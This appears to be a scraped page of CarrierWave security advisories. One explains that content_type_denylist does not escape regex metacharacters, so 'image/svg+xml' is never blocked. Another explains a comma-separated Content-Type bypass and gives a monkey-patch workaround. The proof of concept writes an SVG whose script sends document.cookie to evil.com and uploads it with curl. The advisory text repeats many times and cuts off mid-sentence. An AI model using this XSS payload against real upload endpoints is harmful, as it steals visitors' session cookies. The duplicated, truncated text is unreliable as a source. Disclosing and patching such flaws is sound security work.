carrierwave

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

